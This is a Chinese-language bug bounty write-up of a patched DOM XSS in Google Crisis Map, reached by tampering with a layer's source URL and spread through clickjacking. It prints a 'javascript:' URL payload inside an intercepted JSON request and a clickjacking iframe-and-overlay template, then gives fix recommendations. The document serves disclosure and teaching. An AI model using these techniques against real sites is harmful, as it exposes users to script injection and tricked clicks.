Google Bugbounty:点击劫持之DOM型XSS
字数 1330 2025-08-26 22:11:40
Google Bug Bounty: 点击劫持结合DOM型XSS漏洞分析
漏洞概述
本文详细分析了一个在Google Crisis Map项目中发现的DOM型XSS漏洞,以及如何通过点击劫持技术扩大其影响范围。该漏洞存在于google.org域名下的危机地图服务中,通过精心构造的攻击链,可以将原本的self-XSS转化为可被广泛利用的安全威胁。
漏洞发现环境
目标系统: Google Crisis Map (google.org/crisismap/)
- 创建于2012年的旧项目
- 主要功能是帮助人们查找和使用紧急信息
- 不经常更新,托管在google.org域名
漏洞发现过程
1. 访问管理界面
通过添加.maps后缀访问地图管理界面:
google.org/crisismap/.maps
2. 创建新地图
使用非gmail.com域名的Google账户登录后,可以创建新地图。标准流程包括:
- 点击"创建地图"按钮
- 添加新图层
- 填写图层信息并保存
3. 发现XSS注入点
在"Source URL"字段尝试注入JavaScript代码时,前端验证阻止了直接注入:
if (url && !url.toLowerCase().match("^\\s*(http://|https://|docs://|$)")) {
showError("Invalid URL - please include a protocol (e.g. http:// or https://)");
}
4. 绕过前端验证
通过以下步骤绕过验证:
- 首先输入合法URL(如https://example.com)
- 使用Burp Suite等工具拦截保存请求
- 修改请求中的URL为JavaScript payload:
{
"id": "1234",
"title": "Untitled map",
"base_map_type": "GOOGLE_ROADMAP",
"layers": [{
"id": "1",
"title": "Test layer",
"visibility": "DEFAULT_ON",
"type": "KML",
"source": {
"kml": {
"url": "javascript:alert(document.domain)"
}
}
}]
}
5. 触发XSS
保存后,通过以下路径触发XSS:
- 打开"图层"选项
- 点击"下载KML"链接
- JavaScript代码执行,弹出包含域名的警告框
漏洞扩大技术
点击劫持攻击
由于google.org未设置X-Frame-Options头,攻击者可:
- 将已发布的地图嵌入iframe:
<iframe src="https://google.org/crisismap/example.com/test"></iframe>
- 使用CSS和JavaScript操纵iframe:
- 缩放iframe至50倍
- 精确定位点击位置
- 自动引导用户点击关键位置
攻击演示代码
<style>
iframe {
position: absolute;
width: 5000px;
height: 5000px;
top: -[y-coord]px;
left: -[x-coord]px;
opacity: 0.5;
z-index: 9999;
}
.overlay {
position: fixed;
top: [click1-y]px;
left: [click1-x]px;
width: [button-width]px;
height: [button-height]px;
background: black;
z-index: 10000;
}
</style>
<div class="overlay"></div>
<iframe src="https://google.org/crisismap/attacker.com/test"></iframe>
<script>
// 点击第一个位置后移动覆盖层到第二个点击位置
document.querySelector('.overlay').addEventListener('click', function() {
this.style.top = '[click2-y]px';
this.style.left = '[click2-x]px';
});
</script>
漏洞修复建议
-
后端验证:
- 在服务器端验证所有输入URL
- 拒绝任何不符合协议的URL
-
安全头设置:
- 添加X-Frame-Options头防止点击劫持
- 考虑使用Content-Security-Policy
-
DOM安全处理:
- 对动态生成的链接使用
about:invalid作为无效URL的默认值
<a href="about:invalid#zClosurez">Download KML</a> - 对动态生成的链接使用
-
输入净化:
- 对所有用户输入进行严格的净化处理
- 使用白名单而非黑名单验证URL协议
漏洞影响分析
原始漏洞是self-XSS,但通过以下方式扩大了影响:
- 地图发布功能: 使XSS可被其他用户触发
- 点击劫持: 无需用户离开攻击者网站即可触发漏洞
- 旧系统特性: 较少维护的系统往往存在更多安全隐患
时间线
- 2018.09.12: 漏洞报告
- 2018.10.12: 漏洞确认并分类为P1
- 2018.11.12: 奖金发放
经验总结
- 全面验证: 前后端都应验证用户输入
- 防御深度: 实施多层防御机制
- 旧系统审计: 旧项目往往是漏洞的温床
- 漏洞组合: 寻找将低危漏洞组合成高危漏洞的方法
- 安全头配置: 正确配置HTTP安全头至关重要
扩展思考
- 如何将此漏洞与其他漏洞(如CSRF)结合使用?
- 在类似的老旧系统中,还有哪些可能被忽视的攻击面?
- 如何自动化检测此类DOM型XSS与点击劫持的组合漏洞?